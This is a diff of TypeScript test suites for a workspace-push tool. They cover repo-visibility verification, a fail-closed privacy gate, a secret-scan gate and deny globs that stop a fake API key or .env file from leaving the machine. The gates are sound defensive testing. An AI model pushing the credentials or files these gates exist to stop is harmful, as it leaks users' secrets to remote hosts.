expect(third.get()).toContain('FAILING');
|
||||
});
|
||||
|
||||
test('CRITICAL regression: ok push-status → NO banner, stdout empty on degraded paths', async () => {
|
||||
mkdirSync(join(home(), 'bootstrap'), { recursive: true });
|
||||
const okRoot = bannerRoot();
|
||||
writeFileSync(
|
||||
pushStatusPathForRoot(okRoot),
|
||||
JSON.stringify({ ts: new Date().toISOString(), ok: true, repoRoot: okRoot }) + '\n',
|
||||
);
|
||||
const out = collectStdout();
|
||||
await runHook(['user-prompt'], { ...out.io, stdin: JSON.stringify({ prompt: 'hi' }) });
|
||||
expect(out.get()).toBe('');
|
||||
});
|
||||
|
||||
test('banner rides INSIDE the main context payload when serve answers (one JSON doc, systemMessage present)', async () => {
|
||||
const dataDir = join(tmp, 'data');
|
||||
writePgliteConfig(dataDir);
|
||||
await startServer({ dataDir, blockText: 'BRAIN CONTEXT BLOCK' });
|
||||
const root = bannerRoot();
|
||||
failingStatus(root);
|
||||
const out = collectStdout();
|
||||
await runHook(['user-prompt'], { ...out.io, stdin: JSON.stringify({ prompt: 'hi', session_id: 'sess-banner' }) });
|
||||
const payload = JSON.parse(out.get()) as {
|
||||
hookSpecificOutput?: { additionalContext?: string };
|
||||
systemMessage?: string;
|
||||
};
|
||||
expect(payload.hookSpecificOutput?.additionalContext).toContain('FAILING');
|
||||
expect(payload.hookSpecificOutput?.additionalContext).toContain('BRAIN CONTEXT BLOCK');
|
||||
expect(payload.systemMessage).toContain('FAILING');
|
||||
});
|
||||
});
|
||||
|
||||
// ── user-prompt deadline degradation [D5/ENG-1] ─────────────────────────────
|
||||
|
||||
describe('user-prompt deadline', () => {
|
||||
|
||||
@@ -0,0 +1,332 @@
|
||||
/**
|
||||
* repo-visibility.ts — parser union, gh-403 classification, the full ladder
|
||||
* verdict matrix [D4]/[D14], and the private-only verdict cache [D11].
|
||||
* Everything injected (runner + fetchImpl + env) — no network, no gh, no git.
|
||||
*/
|
||||
import { describe, expect, test } from 'bun:test';
|
||||
import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
|
||||
import {
|
||||
anonProbeUrl,
|
||||
classifyGh403,
|
||||
githubOwnerRepoString,
|
||||
parseGithubOwnerRepo,
|
||||
readCachedPrivateVerdict,
|
||||
verifyRepoVisibility,
|
||||
writeVisibilityCache,
|
||||
type ExecRunner,
|
||||
type RepoVisibilityVerdict,
|
||||
} from '../src/core/repo-visibility.ts';
|
||||
|
||||
const URL_GH = 'https://github.com/acme-example/widget-co.git';
|
||||
|
||||
// ── Fake IO ─────────────────────────────────────────────────────────────────
|
||||
|
||||
/** Runner keyed on the binary: gh → opts.gh, git ls-remote → opts.git. */
|
||||
function fakeRunner(opts: {
|
||||
gh?: { code: number; stdout?: string; stderr?: string };
|
||||
git?: { code: number; stderr?: string };
|
||||
}): ExecRunner {
|
||||
return async (argv: string[]) => {
|
||||
if (argv[0] === 'gh') {
|
||||
const r = opts.gh ?? { code: 127, stderr: 'ENOENT' };
|
||||
return { code: r.code, stdout: r.stdout ?? '', stderr: r.stderr ?? '' };
|
||||
}
|
||||
const r = opts.git ?? { code: 0 };
|
||||
return { code: r.code, stdout: r.code === 0 ? 'abc123\tHEAD\n' : '', stderr: r.stderr ?? '' };
|
||||
};
|
||||
}
|
||||
|
||||
function fakeFetch(res: {
|
||||
status: number;
|
||||
contentType?: string;
|
||||
wwwAuthenticate?: string;
|
||||
githubRequestId?: boolean;
|
||||
body?: string;
|
||||
throws?: boolean;
|
||||
}): typeof fetch {
|
||||
return (async () => {
|
||||
if (res.throws) throw new Error('network unreachable');
|
||||
const headers = new Headers();
|
||||
if (res.contentType) headers.set('content-type', res.contentType);
|
||||
if (res.wwwAuthenticate) headers.set('www-authenticate', res.wwwAuthenticate);
|
||||
if (res.githubRequestId) headers.set('x-github-request-id', 'ABCD:1234');
|
||||
return new Response(res.body ?? '', { status: res.status, headers });
|
||||
}) as unknown as typeof fetch;
|
||||
}
|
||||
|
||||
const GH_ADVERTISEMENT = '001e# service=git-upload-pack\n0000';
|
||||
const PROXY_403 = 'gh: HTTP 403 {"message":"GitHub access to this repository is not enabled for this session. Use add_repo to request access."}';
|
||||
const GITHUB_403 = 'gh: HTTP 403 {"message":"Resource not accessible by integration","documentation_url":"https://docs.github.com/rest"}';
|
||||
|
||||
// ── Parser union ────────────────────────────────────────────────────────────
|
||||
|
||||
describe('parseGithubOwnerRepo (canonical union grammar)', () => {
|
||||
test.each([
|
||||
['https://github.com/a/b', 'a', 'b'],
|
||||
['https://github.com/a/b.git', 'a', 'b'],
|
||||
['https://github.com/a/b/', 'a', 'b'],
|
||||
['git@github.com:a/b.git', 'a', 'b'],
|
||||
['git@github.com:a/b', 'a', 'b'],
|
||||
['ssh://git@github.com/a/b', 'a', 'b'],
|
||||
['ssh://git@github.com/a/b.git/', 'a', 'b'],
|
||||
[' https://github.com/a/b.git ', 'a', 'b'],
|
||||
])('%s → %s/%s', (url, owner, repo) => {
|
||||
expect(parseGithubOwnerRepo(url)).toEqual({ owner, repo });
|
||||
expect(githubOwnerRepoString(url)).toBe(`${owner}/${repo}`);
|
||||
});
|
||||
|
||||
test.each([['https://gitlab.com/a/b'], ['/tmp/origin.git'], ['git@example.com:a/b.git'], ['']])(
|
||||
'%s → null',
|
||||
(url) => {
|
||||
expect(parseGithubOwnerRepo(url)).toBeNull();
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
describe('anonProbeUrl', () => {
|
||||
test('github forms normalize to the canonical .git/info/refs URL', () => {
|
||||
const want = 'https://github.com/a/b.git/info/refs?service=git-upload-pack';
|
||||
expect(anonProbeUrl('https://github.com/a/b')).toBe(want);
|
||||
expect(anonProbeUrl('git@github.com:a/b.git')).toBe(want);
|
||||
expect(anonProbeUrl('ssh://git@github.com/a/b')).toBe(want);
|
||||
});
|
||||
test('non-github https appends info/refs; ssh/file get null', () => {
|
||||
expect(anonProbeUrl('https://git.example.com/a/b.git/')).toBe(
|
||||
'https://git.example.com/a/b.git/info/refs?service=git-upload-pack',
|
||||
);
|
||||
expect(anonProbeUrl('git@example.com:a/b.git')).toBeNull();
|
||||
expect(anonProbeUrl('/tmp/origin.git')).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
// ── 403 classification ──────────────────────────────────────────────────────
|
||||
|
||||
describe('classifyGh403', () => {
|
||||
test('GitHub-shaped JSON (message + documentation_url) → github', () => {
|
||||
expect(classifyGh403(GITHUB_403)).toBe('github');
|
||||
});
|
||||
test('session-scoping / proxy phrases → proxy', () => {
|
||||
expect(classifyGh403(PROXY_403)).toBe('proxy');
|
||||
expect(classifyGh403('x-deny-reason: host_not_allowed')).toBe('proxy');
|
||||
expect(classifyGh403('remote: access denied by the git proxy: repo is not in this session')).toBe('proxy');
|
||||
});
|
||||
test('bare text → unknown', () => {
|
||||
expect(classifyGh403('HTTP 403 Forbidden')).toBe('unknown');
|
||||
});
|
||||
});
|
||||
|
||||
// ── Ladder verdict matrix ───────────────────────────────────────────────────
|
||||
|
||||
async function ladder(opts: {
|
||||
url?: string;
|
||||
gh?: { code: number; stdout?: string; stderr?: string };
|
||||
git?: { code: number; stderr?: string };
|
||||
probe?: Parameters<typeof fakeFetch>[0];
|
||||
env?: Record<string, string | undefined>;
|
||||
}): Promise<RepoVisibilityVerdict> {
|
||||
return verifyRepoVisibility({
|
||||
originUrl: opts.url ?? URL_GH,
|
||||
runner: fakeRunner({ ...(opts.gh ? { gh: opts.gh } : {}), ...(opts.git ? { git: opts.git } : {}) }),
|
||||
fetchImpl: fakeFetch(opts.probe ?? { status: 500 }),
|
||||
env: opts.env ?? {},
|
||||
timeoutMs: 2_000,
|
||||
});
|
||||
}
|
||||
|
||||
describe('verifyRepoVisibility — verdict matrix', () => {
|
||||
test('rung 1 REST true → private/rest (CRITICAL regression parity with the old probe)', async () => {
|
||||
const v = await ladder({ gh: { code: 0, stdout: 'true\n' } });
|
||||
expect(v.verdict).toBe('private');
|
||||
expect(v.verdict === 'private' && v.via).toBe('rest');
|
||||
});
|
||||
|
||||
test('rung 1 REST false → public/rest, refuse (CRITICAL regression parity)', async () => {
|
||||
const v = await ladder({ gh: { code: 0, stdout: 'false\n' } });
|
||||
expect(v.verdict).toBe('public');
|
||||
});
|
||||
|
||||
test('gh missing (127) → git rungs: ls-remote ok + github-attributed 401 → private/git-protocol', async () => {
|
||||
const v = await ladder({
|
||||
gh: { code: 127, stderr: 'ENOENT' },
|
||||
git: { code: 0 },
|
||||
probe: { status: 401, wwwAuthenticate: 'Basic realm="GitHub"', githubRequestId: true },
|
||||
});
|
||||
expect(v.verdict).toBe('private');
|
||||
expect(v.verdict === 'private' && v.via).toBe('git-protocol');
|
||||
});
|
||||
|
||||
test('[D14] github origin: a 401 with ONLY a www-authenticate challenge (RFC-mandated on every 401, middleboxes included) is NOT attribution → unverifiable', async () => {
|
||||
const v = await ladder({
|
||||
gh: { code: 127 },
|
||||
git: { code: 0 },
|
||||
probe: { status: 401, wwwAuthenticate: 'Basic realm="corp-proxy"' },
|
||||
});
|
||||
expect(v.verdict).toBe('unverifiable');
|
||||
});
|
||||
|
||||
test('[D14] non-github origin: a 401 challenge is NOT trustable attribution (a middlebox 401s identically) → unverifiable, fail-closed', async () => {
|
||||
const v = await ladder({
|
||||
url: 'https://git.example.com/team/brain.git',
|
||||
git: { code: 0 },
|
||||
probe: { status: 401, wwwAuthenticate: 'Basic realm="git"' },
|
||||
});
|
||||
expect(v.verdict).toBe('unverifiable');
|
||||
});
|
||||
|
||||
test('proxy-403 REST → git rungs, and the rung log names the proxy', async () => {
|
||||
const v = await ladder({
|
||||
gh: { code: 1, stderr: PROXY_403 },
|
||||
git: { code: 0 },
|
||||
probe: { status: 401, wwwAuthenticate: 'Basic realm="GitHub"', githubRequestId: true },
|
||||
});
|
||||
expect(v.verdict).toBe('private');
|
||||
expect(v.rungs.map((r) => r.outcome).join(' ')).toContain('egress proxy');
|
||||
});
|
||||
|
||||
test('[D14] un-attributed 401 (middlebox) → unverifiable, NEVER private', async () => {
|
||||
const v = await ladder({
|
||||
gh: { code: 127 },
|
||||
git: { code: 0 },
|
||||
probe: { status: 401 }, // no www-authenticate, no github headers
|
||||
});
|
||||
expect(v.verdict).toBe('unverifiable');
|
||||
expect(v.detail).toContain('un-attributed');
|
||||
});
|
||||
|
||||
test('404 with x-github-request-id counts as attributed for github origins', async () => {
|
||||
const v = await ladder({
|
||||
gh: { code: 127 },
|
||||
git: { code: 0 },
|
||||
probe: { status: 404, githubRequestId: true },
|
||||
});
|
||||
expect(v.verdict).toBe('private');
|
||||
});
|
||||
|
||||
test('[D4] 200 with advertisement proof (content-type) → public/git-protocol', async () => {
|
||||
const v = await ladder({
|
||||
gh: { code: 127 },
|
||||
git: { code: 0 },
|
||||
probe: { status: 200, contentType: 'application/x-git-upload-pack-advertisement' },
|
||||
});
|
||||
expect(v.verdict).toBe('public');
|
||||
});
|
||||
|
||||
test('[D4] 200 with pkt-line body proof (no content-type) → public', async () => {
|
||||
const v = await ladder({
|
||||
gh: { code: 127 },
|
||||
git: { code: 0 },
|
||||
probe: { status: 200, body: GH_ADVERTISEMENT },
|
||||
});
|
||||
expect(v.verdict).toBe('public');
|
||||
});
|
||||
|
||||
test('[D4] 200 WITHOUT proof (SSO login HTML) → unverifiable, never a false PUBLIC', async () => {
|
||||
const v = await ladder({
|
||||
url: 'https://git.example.com/team/brain.git',
|
||||
git: { code: 0 },
|
||||
probe: { status: 200, contentType: 'text/html', body: '<html>Sign in</html>' },
|
||||
});
|
||||
expect(v.verdict).toBe('unverifiable');
|
||||
expect(v.detail).toContain('advertisement');
|
||||
});
|
||||
|
||||
test('200 with proof behind a credential-injecting proxy → unverifiable + actionable message', async () => {
|
||||
const v = await ladder({
|
||||
gh: { code: 1, stderr: PROXY_403 },
|
||||
git: { code: 0 },
|
||||
probe: { status: 200, contentType: 'application/x-git-upload-pack-advertisement' },
|
||||
env: { GH_TOKEN: 'proxy-injected' },
|
||||
});
|
||||
expect(v.verdict).toBe('unverifiable');
|
||||
expect(v.detail).toContain('GBRAIN_ALLOW_UNVERIFIED_REMOTE');
|
||||
});
|
||||
|
||||
test('ls-remote failure → unverifiable ("a push would fail anyway")', async () => {
|
||||
const v = await ladder({
|
||||
gh: { code: 127 },
|
||||
git: { code: 128, stderr: 'fatal: could not read Username' },
|
||||
});
|
||||
expect(v.verdict).toBe('unverifiable');
|
||||
expect(v.detail).toContain('push would fail');
|
||||
});
|
||||
|
||||
test('anon probe network error → unverifiable with rung log', async () => {
|
||||
const v = await ladder({ gh: { code: 127 }, git: { code: 0 }, probe: { status: 0, throws: true } });
|
||||
expect(v.verdict).toBe('unverifiable');
|
||||
expect(v.rungs.some((r) => r.rung === 'anon-refs' && r.outcome.includes('network error'))).toBe(true);
|
||||
});
|
||||
|
||||
test('ssh non-github origin: readable but no probe surface → unverifiable', async () => {
|
||||
const v = await ladder({ url: 'git@example.com:team/brain.git', git: { code: 0 }, probe: { status: 200 } });
|
||||
expect(v.verdict).toBe('unverifiable');
|
||||
expect(v.rungs.some((r) => r.outcome.includes('no https probe surface'))).toBe(true);
|
||||
});
|
||||
|
||||
test('anon probe answering an unexpected status (500) → unverifiable, names the status', async () => {
|
||||
const v = await ladder({
|
||||
gh: { code: 127 },
|
||||
git: { code: 0 },
|
||||
probe: { status: 500 },
|
||||
});
|
||||
expect(v.verdict).toBe('unverifiable');
|
||||
expect(v.detail).toContain('HTTP 500');
|
||||
expect(v.detail).toContain('GBRAIN_ALLOW_UNVERIFIED_REMOTE');
|
||||
});
|
||||
|
||||
test('rung timeout is recorded and degrades to unverifiable, never hangs', async () => {
|
||||
const hangingRunner: ExecRunner = () => new Promise(() => {}); // never resolves
|
||||
const v = await verifyRepoVisibility({
|
||||
originUrl: URL_GH,
|
||||
runner: hangingRunner,
|
||||
fetchImpl: fakeFetch({ status: 500 }),
|
||||
env: {},
|
||||
timeoutMs: 50,
|
||||
});
|
||||
expect(v.verdict).toBe('unverifiable');
|
||||
expect(v.rungs.some((r) => r.outcome.includes('timeout'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
// ── Verdict cache [D11] ─────────────────────────────────────────────────────
|
||||
|
||||
describe('visibility cache (private-only, TTL)', () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'vis-cache-'));
|
||||
const path = join(dir, 'visibility-cache.json');
|
||||
const privateVerdict: RepoVisibilityVerdict = { verdict: 'private', via: 'rest', detail: 'x', rungs: [] };
|
||||
const publicVerdict: RepoVisibilityVerdict = { verdict: 'public', via: 'rest', detail: 'x', rungs: [] };
|
||||
|
||||
test('private verdict round-trips within TTL; expired entry misses', () => {
|
||||
const t0 = Date.now();
|
||||
writeVisibilityCache(URL_GH, privateVerdict, { now: t0, path });
|
||||
expect(readCachedPrivateVerdict(URL_GH, { now: t0 + 60_000, path })?.verdict).toBe('private');
|
||||
expect(readCachedPrivateVerdict(URL_GH, { now: t0 + 61 * 60_000, path })).toBeNull();
|
||||
});
|
||||
|
||||
test('public and unverifiable verdicts are NEVER written', () => {
|
||||
rmSync(path, { force: true });
|
||||
writeVisibilityCache(URL_GH, publicVerdict, { path });
|
||||
writeVisibilityCache(URL_GH, { verdict: 'unverifiable', detail: 'x', rungs: [] }, { path });
|
||||
expect(readCachedPrivateVerdict(URL_GH, { path })).toBeNull();
|
||||
});
|
||||
|
||||
test('corrupt cache file is a miss, and the next write recovers it', () => {
|
||||
writeFileSync(path, 'not json', { mode: 0o600 });
|
||||
expect(readCachedPrivateVerdict(URL_GH, { path })).toBeNull();
|
||||
const t0 = Date.now();
|
||||
writeVisibilityCache(URL_GH, privateVerdict, { now: t0, path });
|
||||
expect(readCachedPrivateVerdict(URL_GH, { now: t0, path })?.verdict).toBe('private');
|
||||
expect(() => JSON.parse(readFileSync(path, 'utf8'))).not.toThrow();
|
||||
});
|
||||
|
||||
test('expired entries are pruned on write', () => {
|
||||
const t0 = Date.now();
|
||||
rmSync(path, { force: true });
|
||||
writeVisibilityCache('https://github.com/a/old.git', privateVerdict, { now: t0 - 2 * 60 * 60_000, path });
|
||||
writeVisibilityCache(URL_GH, privateVerdict, { now: t0, path });
|
||||
const map = JSON.parse(readFileSync(path, 'utf8')) as Record<string, unknown>;
|
||||
expect(Object.keys(map)).toEqual([URL_GH]);
|
||||
});
|
||||
});
|
||||
@@ -16,10 +16,12 @@ import { join } from 'path';
|
||||
import { tmpdir } from 'os';
|
||||
import { execFileSync, spawnSync } from 'child_process';
|
||||
import {
|
||||
workspacePush, acquirePushLock, pushLockDir, pushStatusPath, verifyRemotePrivacy,
|
||||
workspacePush, acquirePushLock, pushLockDir, pushStatusPath, pushStatusPathForRoot,
|
||||
readPushStatuses, summarizePushStatuses, verifyRemotePrivacy,
|
||||
parseGithubOwnerRepo, resolveWorkspaceRoot, PUSH_LOCK_STALE_MS, PUSH_DENY_GLOBS,
|
||||
} from '../src/core/workspace-push.ts';
|
||||
import { SCAN_ALLOW_FILENAME } from '../src/core/secret-scan.ts';
|
||||
import { visibilityCachePath } from '../src/core/repo-visibility.ts';
|
||||
|
||||
const T = 60_000; // explicit per-test timeout — bun ignores bunfig.toml's key
|
||||
const OPENAI = 'sk-' + 'A1b2C3d4E5f6G7h8I9j0K1l2M3n4';
|
||||
@@ -97,14 +99,14 @@ describe('happy path', () => {
|
||||
expect(r.ahead).toBe(0);
|
||||
expect(originHead(bare)).toBe(git(work, 'rev-parse', 'HEAD'));
|
||||
// B4: push-status.json written on success
|
||||
const status = JSON.parse(readFileSync(pushStatusPath(), 'utf-8'));
|
||||
const status = readPushStatuses()[0]!; // [D13] per-root file, via the shared reader
|
||||
expect(status.ok).toBe(true);
|
||||
expect(status.ahead).toBe(0);
|
||||
expect(typeof status.ts).toBe('string');
|
||||
// no leftover lock
|
||||
expect(existsSync(pushLockDir(work))).toBe(false);
|
||||
// status file is not world-readable
|
||||
expect(statSync(pushStatusPath()).mode & 0o077).toBe(0);
|
||||
expect(statSync(readPushStatuses()[0]!.file).mode & 0o077).toBe(0);
|
||||
}, T);
|
||||
|
||||
test('CX2-3 — a subdirectory target resolves and pushes the repo ROOT', async () => {
|
||||
@@ -157,7 +159,7 @@ describe('deny-glob backstop [G6]', () => {
|
||||
expect(r.reason).toContain('.env');
|
||||
expect(originHead(bare)).toBe(before); // nothing pushed
|
||||
// B4: status written on failure too
|
||||
const status = JSON.parse(readFileSync(pushStatusPath(), 'utf-8'));
|
||||
const status = readPushStatuses()[0]!;
|
||||
expect(status.ok).toBe(false);
|
||||
}, T);
|
||||
|
||||
@@ -214,7 +216,7 @@ describe('secret-scan gate', () => {
|
||||
expect(JSON.stringify(r).includes(OPENAI)).toBe(false); // value never surfaces
|
||||
expect(lines.join('\n')).toContain('notes.md');
|
||||
// B4: failure status written
|
||||
expect(JSON.parse(readFileSync(pushStatusPath(), 'utf-8')).ok).toBe(false);
|
||||
expect(readPushStatuses()[0]!.ok).toBe(false);
|
||||
|
||||
// per-finding allowlist override [CX2-15]
|
||||
writeFileSync(join(work, SCAN_ALLOW_FILENAME), `${r.findings![0]!.fingerprint}\n`);
|
||||
@@ -276,7 +278,7 @@ describe('secret-scan gate — fails CLOSED on unscannable staged blobs', () =>
|
||||
expect(originHead(bare)).toBe(before);
|
||||
expect(git(work, 'diff', '--cached', '--name-only')).toBe('');
|
||||
// B4: failure status recorded
|
||||
expect(JSON.parse(readFileSync(pushStatusPath(), 'utf-8')).ok).toBe(false);
|
||||
expect(readPushStatuses()[0]!.ok).toBe(false);
|
||||
}, T);
|
||||
|
||||
test('an oversized staged blob (> scan cap) BLOCKS the push', async () => {
|
||||
@@ -374,7 +376,7 @@ describe('commit-first-then-pull [CX2-7]', () => {
|
||||
// origin still holds the other clone's commit — nothing force-pushed
|
||||
expect(git(bare, 'log', '--format=%s', '-1', 'main')).toBe('remote change');
|
||||
// B4: failure status written
|
||||
expect(JSON.parse(readFileSync(pushStatusPath(), 'utf-8')).ok).toBe(false);
|
||||
expect(readPushStatuses()[0]!.ok).toBe(false);
|
||||
}, T);
|
||||
});
|
||||
|
||||
@@ -390,20 +392,41 @@ describe('remote-privacy gate [G8]', () => {
|
||||
// the commit was made (local durability) but NOTHING left the machine
|
||||
expect(r.committed).toBe(true);
|
||||
expect(originHead(bare)).toBe(before);
|
||||
expect(JSON.parse(readFileSync(pushStatusPath(), 'utf-8')).ok).toBe(false);
|
||||
expect(readPushStatuses()[0]!.ok).toBe(false);
|
||||
}, T);
|
||||
|
||||
test('verifyRemotePrivacy: gh false → not_private; gh true → private (PATH-shimmed gh)', () => {
|
||||
test('verifyRemotePrivacy: gh false → not_private; gh true → private (PATH-shimmed gh, REST rung)', async () => {
|
||||
const shim = mkdtempSync(join(root, 'shim-'));
|
||||
git(work, 'remote', 'set-url', 'origin', 'https://github.com/acme-example/widget-co.git');
|
||||
writeFileSync(join(shim, 'gh'), '#!/bin/sh\necho false\n', { mode: 0o755 });
|
||||
process.env.PATH = `${shim}:${saved.PATH}`;
|
||||
expect(verifyRemotePrivacy(work).verdict).toBe('not_private');
|
||||
expect((await verifyRemotePrivacy(work)).verdict).toBe('not_private');
|
||||
// CRITICAL regression guard [D10]: rest-true must reproduce the pre-ladder
|
||||
// verdict exactly (private → push allowed).
|
||||
writeFileSync(join(shim, 'gh'), '#!/bin/sh\necho true\n', { mode: 0o755 });
|
||||
expect(verifyRemotePrivacy(work).verdict).toBe('private');
|
||||
writeFileSync(join(shim, 'gh'), '#!/bin/sh\necho "not logged in" >&2\nexit 1\n', { mode: 0o755 });
|
||||
const v = verifyRemotePrivacy(work);
|
||||
expect(v.verdict).toBe('unverifiable'); // unauthed gh = unverifiable, not fail-open
|
||||
expect((await verifyRemotePrivacy(work)).verdict).toBe('private');
|
||||
// The private verdict is cached [D11]; clear it so the next case exercises
|
||||
// the ladder, not the cache.
|
||||
rmSync(visibilityCachePath(), { force: true });
|
||||
}, T);
|
||||
|
||||
test('verifyRemotePrivacy: cached private verdict short-circuits; cache cleared → re-verifies', async () => {
|
||||
const shim = mkdtempSync(join(root, 'shim-'));
|
||||
git(work, 'remote', 'set-url', 'origin', 'https://github.com/acme-example/widget-co.git');
|
||||
writeFileSync(join(shim, 'gh'), '#!/bin/sh\necho true\n', { mode: 0o755 });
|
||||
process.env.PATH = `${shim}:${saved.PATH}`;
|
||||
expect((await verifyRemotePrivacy(work)).verdict).toBe('private');
|
||||
// Break gh entirely: the fresh cache must still answer private...
|
||||
writeFileSync(join(shim, 'gh'), '#!/bin/sh\nexit 1\n', { mode: 0o755 });
|
||||
expect((await verifyRemotePrivacy(work)).verdict).toBe('private');
|
||||
// ...and clearing it must force live re-verification. Point origin at a
|
||||
// local path so the git-protocol rungs stay offline-fast: readable via
|
||||
// ls-remote, no https probe surface → unverifiable, never fail-open.
|
||||
rmSync(visibilityCachePath(), { force: true });
|
||||
git(work, 'remote', 'set-url', 'origin', bare);
|
||||
const v = await verifyRemotePrivacy(work);
|
||||
expect(v.verdict).toBe('unverifiable');
|
||||
git(work, 'remote', 'set-url', 'origin', 'https://github.com/acme-example/widget-co.git');
|
||||
}, T);
|
||||
|
||||
test('parseGithubOwnerRepo handles https/.git/scp forms; non-github → null', () => {
|
||||
@@ -499,8 +522,83 @@ describe('error paths', () => {
|
||||
expect(r.status).toBe('push_failed');
|
||||
expect(r.ok).toBe(false);
|
||||
expect(r.committed).toBe(true); // commit survives locally
|
||||
const status = JSON.parse(readFileSync(pushStatusPath(), 'utf-8'));
|
||||
const status = readPushStatuses()[0]!;
|
||||
expect(status.ok).toBe(false);
|
||||
expect(existsSync(pushLockDir(work))).toBe(false);
|
||||
}, T);
|
||||
});
|
||||
|
||||
describe('unverified-remote escape hatches [D18/S3]', () => {
|
||||
test('env hatch: unverifiable origin + GBRAIN_ALLOW_UNVERIFIED_REMOTE=1 → pushed (WARN path)', async () => {
|
||||
process.env.GBRAIN_ALLOW_UNVERIFIED_REMOTE = '1';
|
||||
try {
|
||||
writeFileSync(join(work, 'note.md'), 'env hatch\n');
|
||||
// file origin → ladder unverifiable; env hatch downgrades it to allowed.
|
||||
const r = await workspacePush({ dir: work, branch: 'main' });
|
||||
expect(r.ok).toBe(true);
|
||||
expect(r.status).toBe('pushed');
|
||||
} finally {
|
||||
delete process.env.GBRAIN_ALLOW_UNVERIFIED_REMOTE;
|
||||
}
|
||||
}, T);
|
||||
|
||||
test('config hatch: push.allow_unverified_remote=true in the file plane → pushed', async () => {
|
||||
mkdirSync(join(process.env.HOME!, '.gbrain'), { recursive: true });
|
||||
writeFileSync(
|
||||
join(process.env.HOME!, '.gbrain', 'config.json'),
|
||||
JSON.stringify({ engine: 'pglite', push: { allow_unverified_remote: true } }),
|
||||
);
|
||||
writeFileSync(join(work, 'note2.md'), 'config hatch\n');
|
||||
const r = await workspacePush({ dir: work, branch: 'main' });
|
||||
expect(r.ok).toBe(true);
|
||||
expect(r.status).toBe('pushed');
|
||||
}, T);
|
||||
|
||||
test('CRITICAL [S3]: a hatch never covers a PROVEN-PUBLIC origin — still refused', async () => {
|
||||
const shim = mkdtempSync(join(root, 'shim-pub-'));
|
||||
writeFileSync(join(shim, 'gh'), '#!/bin/sh\necho false\n', { mode: 0o755 });
|
||||
process.env.PATH = `${shim}:${saved.PATH}`;
|
||||
process.env.GBRAIN_ALLOW_UNVERIFIED_REMOTE = '1';
|
||||
try {
|
||||
git(work, 'remote', 'set-url', 'origin', 'https://github.com/acme-example/widget-co.git');
|
||||
writeFileSync(join(work, 'note3.md'), 'must not leave\n');
|
||||
const r = await workspacePush({ dir: work, branch: 'main' });
|
||||
expect(r.ok).toBe(false);
|
||||
expect(r.status).toBe('refused_visibility');
|
||||
expect(r.reason).toContain('does NOT cover proven-public');
|
||||
} finally {
|
||||
delete process.env.GBRAIN_ALLOW_UNVERIFIED_REMOTE;
|
||||
git(work, 'remote', 'set-url', 'origin', bare);
|
||||
}
|
||||
}, T);
|
||||
});
|
||||
|
||||
describe('per-root masking [D13]', () => {
|
||||
test('one root failing + another succeeding: the failure is never masked (reader + summarize)', async () => {
|
||||
const otherRoot = mkdtempSync(join(root, 'other-ws-'));
|
||||
mkdirSync(join(process.env.HOME!, '.gbrain', 'bootstrap'), { recursive: true });
|
||||
writeFileSync(
|
||||
pushStatusPathForRoot(otherRoot),
|
||||
JSON.stringify({ ts: new Date().toISOString(), ok: false, reason: 'refused_visibility', repoRoot: otherRoot }) + '\n',
|
||||
);
|
||||
writeFileSync(join(work, 'ok.md'), 'fine\n');
|
||||
const r = await push();
|
||||
expect(r.ok).toBe(true); // this workspace pushed fine…
|
||||
const entries = readPushStatuses();
|
||||
const { failing } = summarizePushStatuses(entries);
|
||||
expect(failing).toHaveLength(1); // …and the OTHER root's failure survives
|
||||
expect(failing[0]!.repoRoot).toBe(otherRoot);
|
||||
}, T);
|
||||
|
||||
test('ghost roots are filtered: a failing record for a DELETED workspace stops feeding the surfaces', async () => {
|
||||
const ghost = mkdtempSync(join(root, 'ghost-ws-'));
|
||||
mkdirSync(join(process.env.HOME!, '.gbrain', 'bootstrap'), { recursive: true });
|
||||
writeFileSync(
|
||||
pushStatusPathForRoot(ghost),
|
||||
JSON.stringify({ ts: new Date().toISOString(), ok: false, reason: 'refused_visibility', repoRoot: ghost }) + '\n',
|
||||
);
|
||||
rmSync(ghost, { recursive: true, force: true });
|
||||
const { failing } = summarizePushStatuses(readPushStatuses());
|
||||
expect(failing).toHaveLength(0);
|
||||
}, T);
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user